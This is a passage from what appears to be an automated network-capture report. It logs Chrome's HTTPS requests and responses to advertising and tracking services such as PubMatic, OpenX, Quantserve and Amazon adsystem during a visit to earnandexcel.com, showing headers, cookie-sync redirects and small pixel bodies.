2024-04-11 21:27:04 UTC	1613	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=d3c52a71-4626-42f8-b765-7c4caff9dd34&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; SPugT=1712870822; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; PugT=1712870821
2024-04-11 21:27:04 UTC	696	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close Set-Cookie: KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:03 GMT; path=/ Set-Cookie: PugT=1712870823; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:03 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:04 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
472	192.168.2.17	50295	108.139.47.105	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	1419	OUT	GET /profiles_engine/ProfilesEngineServlet?at=20&mi=10&secure=1&dpi=396660830&iiqidtype=2&iiqpcid=001fa0cd-4d4e-4d5f-bf82-4211a8a61316&iiqpciddate=1712870818876&tsrnd=660_1712870818889&jsver=5.086&uh=%7B%220%22%3A%22%5C%22Google%20Chrome%5C%22%3Bv%3D%5C%22117%5C%22%2C%20%5C%22Not%3BA%3DBrand%5C%22%3Bv%3D%5C%228%5C%22%2C%20%5C%22Chromium%5C%22%3Bv%3D%5C%22117%5C%22%22%2C%221%22%3A%22%3F0%22%2C%222%22%3A%22%5C%22Windows%5C%22%22%2C%223%22%3A%22%5C%22x86%5C%22%22%2C%224%22%3A%22%5C%2264%5C%22%22%2C%226%22%3A%22%5C%2210.0.0%5C%22%22%2C%227%22%3A%22%3F0%22%2C%228%22%3A%22%5C%22Google%20Chrome%5C%22%3Bv%3D%5C%22117.0.5938.149%5C%22%2C%20%5C%22Not%3BA%3DBrand%5C%22%3Bv%3D%5C%228.0.0.0%5C%22%2C%20%5C%22Chromium%5C%22%3Bv%3D%5C%22117.0.5938.149%5C%22%22%7D&ckls=true&ci=fqopx3euZ0&nc=false&trid=1978743940 HTTP/1.1 Host: sync1.intentiq.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IQver=1.9; intentIQ=fqopx3euZ0
2024-04-11 21:27:04 UTC	1334	IN	HTTP/1.1 200 Content-Type: image/gif Content-Length: 43 Connection: close Date: Thu, 11 Apr 2024 21:27:04 GMT Set-Cookie: intentIQ=fqopx3euZ0; Domain=.intentiq.com; Expires=Sat, 11 Apr 2026 21:27:04 GMT; Path=/; Secure; SameSite=None P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: intentIQCDate=1712870824861; Domain=.intentiq.com; Expires=Sat, 11 Apr 2026 21:27:04 GMT; Path=/; Secure; SameSite=None Set-Cookie: IQPData=2626823365#1712870824861#0#1712870824861; Domain=.intentiq.com; Expires=Sat, 11 Apr 2026 21:27:04 GMT; Path=/; Secure; SameSite=None Set-Cookie: IQver=1.9; Domain=.intentiq.com; Expires=Sat, 11 Apr 2026 21:27:04 GMT; Path=/; Secure; SameSite=None Set-Cookie: ASDT=0; Domain=.intentiq.com; Expires=Sat, 11 Apr 2026 21:27:04 GMT; Path=/; Secure; SameSite=None Set-Cookie: CSDT=UEQ6MTU1NzlfMCZVOWZyUUNC; Domain=.intentiq.com; Expires=Sat, 11 Apr 2026 21:27:04 GMT; Path=/; Secure; SameSite=None Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Cache: Miss from cloudfront Via: 1.1 fa2a1404411f25eb7c3c4def0c2864e6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: wreHQSNV8bDEAQdpIqCY-FKC94gdMta658Qmc5L4QWY_p1KxZehrXw==
2024-04-11 21:27:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
473	192.168.2.17	50330	34.36.216.150	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	624	OUT	GET /dmp/pixelSync?nid=3&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:04 UTC	438	IN	HTTP/1.1 302 Found set-cookie: ssi=e6ef51c6-bf79-4ef8-8306-49833c46ea9d#1712870824786; Domain=.sitescout.com; Expires=Fri, 11-Apr-2025 21:27:04 GMT; Path=/; Secure; SameSite=None location: https://pixel-sync.sitescout.com/dmp/pixelSync?cookieQ=1&nid=3&gdpr=0&gdpr_consent= Content-Length: 0 date: Thu, 11 Apr 2024 21:27:04 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
474	192.168.2.17	50346	38.68.201.140	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	604	OUT	GET /sn.ashx?&gdpr=0&gdpr_consent= HTTP/1.1 Host: pmp.mxptint.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:04 UTC	720	IN	HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9Mjc0NCZ0bD0xNTc2ODAw&piggybackCookie=R35CAB_113D39DF0_8790659E&r=https://pmp.mxptint.net/sn.ashx?ak=1 P3P: CP="NON CUR ADM DEVo PSAo PSDo OUR IND UNI COM NAV DEM STA PRE" P3P: CP="NON CUR ADM DEVo PSAo PSDo OUR IND UNI COM NAV DEM STA PRE" Set-Cookie: mxpim=R35CAB_113D39DF0_8790659E.1.0000000000000000661855A8; domain=mxptint.net; expires=Sat, 11-Apr-2026 21:27:04 GMT; path=/; secure; SameSite=None Date: Thu, 11 Apr 2024 21:27:04 GMT Connection: close Content-Length: 302 Strict-Transport-Security: max-age=-395875624; includeSubDomains
2024-04-11 21:27:04 UTC	302	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 71 63 7a 30 78 4a 6d 4e 76 5a 47 55 39 4d 6a 63 30 4e 43 5a 30 62 44 30 78 4e 54 63 32 4f 44 41 77 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 52 33 35 43 41 42 5f 31 31 33 44 33 39 44 46 30 5f 38 37 39 30 36 35 39 45 26 61 6d 70 3b 72 3d 68 74 74 70 73 3a 2f 2f 70 6d 70 2e 6d 78 70 74 69 6e 74 2e 6e 65 74 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9Mjc0NCZ0bD0xNTc2ODAw&piggybackCookie=R35CAB_113D39DF0_8790659E&r=https://pmp.mxptint.net

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
475	192.168.2.17	50317	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	1025	OUT	GET /w/1.0/cm?id=dc2068a3-fa3d-4b5f-8a61-3d5a1a58fc05&ph=21f03281-5b83-4670-a0e0-dc15f7542014&r=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D76%263pid%3D%7BOPENX_ID%7D&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870822968334
2024-04-11 21:27:04 UTC	645	IN	HTTP/1.1 200 OK Vary: Accept, Accept-Encoding Set-Cookie: i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; Version=1; Expires=Fri, 11-Apr-2025 21:27:04 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Set-Cookie: pd=v2\|1712870819.5\|iKbwvPvMgahEgKkWg2gy.mmuYeSwrf8wI; Version=1; Expires=Fri, 26-Apr-2024 21:27:04 GMT; Max-Age=1296000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Type: text/html Content-Length: 913 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:04 UTC	913	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 50 69 78 65 6c 73 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 73 63 72 69 70 74 3e 69 66 28 22 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 64 6f 63 75 6d 65 6e 74 2e 66 65 61 74 75 72 65 50 6f 6c 69 63 79 2e 61 6c 6c 6f 77 73 46 65 61 74 75 72 65 28 22 62 72 6f 77 73 69 6e 67 2d 74 6f 70 69 63 73 22 29 29 64 6f 63 75 6d 65 6e 74 2e 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 28 29 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2e 6c 69 6a 69 74 2e 63 6f 6d 2f 6d 65 72 67 65 3f 70 69 64 3d 37 36 26 33 70 69 64 3d 66 39 61 62 61 65 61 33 2d 66 63 61 31 2d 34 38 35 62 2d 62 64 36 32 2d 30 Data Ascii: <html><head><title>Pixels</title></head><body><script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script><img src="https://ce.lijit.com/merge?pid=76&3pid=f9abaea3-fca1-485b-bd62-0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
476	192.168.2.17	50300	34.117.239.71	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	1052	OUT	GET /match?bidder_id=99&external_user_id=y-dtW6JvRE2uEAdSwHz2TdJClVA1i72bFF%7EA&ts=1712870823&gdpr_58=&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: events-ssc.33across.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
2024-04-11 21:27:04 UTC	257	IN	HTTP/1.1 200 OK content-type: image/png cache-control: no-cache, no-store, max-age=0, must-revalidate Content-Length: 68 Date: Thu, 11 Apr 2024 21:27:04 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:04 UTC	68	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 0b 49 44 41 54 78 da 63 60 00 02 00 00 05 00 01 e9 fa dc d8 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRIDATxc`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
477	192.168.2.17	50313	192.184.68.215	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	737	OUT	GET /pixel/p-5aWVS_roA1dVM.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1 Host: cms.quantserve.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:04 UTC	828	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Length: 0 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Cache-Control: private, no-cache, no-store, proxy-revalidate Expires: Fri, 04 Aug 1978 12:00:00 GMT Location: https://image2.pubmatic.com/AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=Gr6DjBm904wB7YONGLmfhh7r1IYBvoDXSen4KhqW P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR SAMa IND COM NAV" Pragma: no-cache Set-Cookie: d=EKABCwHLK_ijAA; expires=Wed, 10-Jul-2024 21:27:04 GMT; path=/; domain=.quantserve.com; SameSite=None; Secure Set-Cookie: mc=661855a8-e1941-22cf2-62cea; expires=Mon, 12-May-2025 21:27:04 GMT; path=/; domain=.quantserve.com; SameSite=None; Secure Strict-Transport-Security: max-age=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
478	192.168.2.17	50314	192.184.68.215	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	630	OUT	GET /pixel/p-CXt61zNBpKUt1.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1 Host: cms.quantserve.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:04 UTC	718	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Length: 0 Connection: close Cache-Control: private, no-cache, no-store, proxy-revalidate Expires: Fri, 04 Aug 1978 12:00:00 GMT Location: https://ce.lijit.com/merge?pid=43&gdpr=0&gdpr_consent=&us_privacy=&3pid=nP3HSZ_-l0mHrsJEyfjbQZzyw0OH-sVFy_pyc9ed P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR SAMa IND COM NAV" Pragma: no-cache Set-Cookie: d=EEsBDQHLK9-owQA; expires=Wed, 10-Jul-2024 21:27:04 GMT; path=/; domain=.quantserve.com; SameSite=None; Secure Set-Cookie: mc=661855a8-e45c3-06952-134a1; expires=Mon, 12-May-2025 21:27:04 GMT; path=/; domain=.quantserve.com; SameSite=None; Secure Strict-Transport-Security: max-age=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
479	192.168.2.17	50344	3.211.252.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	1297	OUT	GET /usersync/redirect?partner=improvedigital&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=8641df54-0b93-402c-9337-7ec42bdf44ca HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:05 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
480	192.168.2.17	50285	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	576	OUT	GET /w/1.0/sd?id=537072991&val=CAESEGBawKPr45rbp_xkzYZlz1Y&google_cver=1 HTTP/1.1 Host: us-u.openx.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870822968334
2024-04-11 21:27:05 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:05 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
481	192.168.2.17	50336	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	688	OUT	GET /dcm?pid=50cd21b7-d8d7-4615-9fb9-a2be831f8488&id= HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
2024-04-11 21:27:05 UTC	888	IN	HTTP/1.1 302 Found Server: Server Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Length: 0 Connection: close x-amz-rid: SHZ34NB40WWA9TKSYW66 Set-Cookie: ad-id=A2D_XDx3tU5MhPWHEz8pwhw; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 21:27:04 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 21:27:04 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Location: https://pixel.rubiconproject.com/token?pid=2179&pt=n&puid=A59JuBO2Q3q-T3wQfZvX7w&rk=usync-na Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
482	192.168.2.17	50319	18.164.96.18	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	545	OUT	GET /cs/27053452/beacon.js HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
